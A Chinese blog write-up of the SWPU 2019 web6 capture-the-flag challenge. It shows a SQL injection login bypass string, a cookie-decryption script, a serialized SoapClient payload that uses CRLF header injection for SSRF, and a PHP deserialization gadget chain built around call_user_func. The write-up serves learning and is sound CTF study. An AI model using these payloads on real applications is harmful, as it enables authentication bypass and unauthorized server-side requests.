swpu 2019 web6(soap wsdl)

Posted on 2020-05-20,4 min read

看WP做题。。。。
首先就是用with rollup去绕过登陆

' or '1'='1' group by passwd with rollup having passwd is NULL#

然后。。看WP都没说哪来的wsdl.php。
存在一个File_read功能。参数是filename

通过此功能。配合hint.txt。读取到
index.php/encode.php/interface.php/se.php
get_flag。需要admin并且是127.0.0.1访问
cookie中有加密的base64。通过逆向encode.php得到cookie值为xiaoC:1(:白嫖脚本

<?php

function decrypt($data, $key)
{
    $key = md5($key);
    $x = 0;
    $data = base64_decode($data);
    $len = strlen($data);
    $l = strlen($key);
    $char = '';
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
            $x = 0;
        }
        $char .= substr($key, $x, 1);
        $x++;
    }
    $str = '';
    for ($i = 0; $i < $len; $i++)
    {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
        {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        }
        else
        {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return $str;
}

?>

替换cookie。即可成为admin
然后就是SSRF。在se.php发现了反序列化的内容。并且session处理引擎为php
这里就存在了两个反序列化的点。一个是session反序列化。一个是se.php的反序列化
这题的大致思路是。通过session反序列化。传一个SOAP对象。
然后通过se.php的反序列化。触发SOAP对象的get_flag函数。

至于。为什么要触发SOAP对象的get_flag函数呢。。
咱也不知道。网上搜了一大堆WP。都没说。直接就给了PAYLOAD。触发interface.php的get_flag
猜测:Service.php中Service类定义了一个get_flag函数。然后访问即可拿到Flag
这里先介绍下SOAP的Server使用

https://blog.csdn.net/ljl890705/article/details/79142383
<?php
class testA{
        public function getflag(){
                return "flag{this_is_flag}";
        }
}
$ss = new SoapServer(null, array('uri'=>'test'));
$ss->setClass('testA');
$ss->handle();
<?php
$client = new SoapClient(null, array('location'=>'http://127.0.0.1/index.php','uri'=>'test'));
echo $client->getflag();

在index.php中。定义了一个testA类。类中存在getflag函数。
SOAP类。新建了一个新服务。将testA绑定在这个服务上。
新建一个SOAP对象 。location是服务URL。然后可以直接访问类中的方法
这题就是这个原理

首先。利用SESSION_UPLOAD_PROCESS上传SSRF

$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',       
    );
$b = new SoapClient(null,array('location' => 'http://127.0.0.1/interface.php','user_agent'=>'wupco^^'.join('^^',$headers),'uri'=> "aaab"));
$aaa = serialize($b);    
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo ($aaa);


上传后。此时靶机上名为sess_CCC的session。内容就是我们的SOAP对象。目标是127.0.0.1中的interface.php的SOAP Server

<?php
class aa
{
        public $mod1;
        public $mod2;
}
class bb
{
        public $mod1;
        public $mod2;
} 

class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
}

class dd
{
        public $name;
        public $flag;
        public $b;
}
class ee
{
        public $str1;
        public $str2;
}

$bb = new bb();
$aa = new aa();
$cc = new cc();
$ee = new ee();
$bb ->mod1 = $aa;
$cc -> mod1 = $ee;
$dd = new dd();
$dd->flag='Get_flag';
$dd->b='call_user_func';
$ee -> str1 = $dd;
$ee -> str2 = "getflag";
$aa ->mod2['test2'] = $cc;
echo serialize($bb);


此时打出payload。先将靶机的session。反序列化成SOAP对象。然后反序列化触发。call_user_func
变成

call_user_func('call_user_func',array($session,'Get_flag'));
相当于执行了call_user_func($session,'Get_flag');
sessin为类。Get_flag为函数名
调用了session中的SOAP类的Get_flag方法

下一篇: 利用unicode无数字webshell→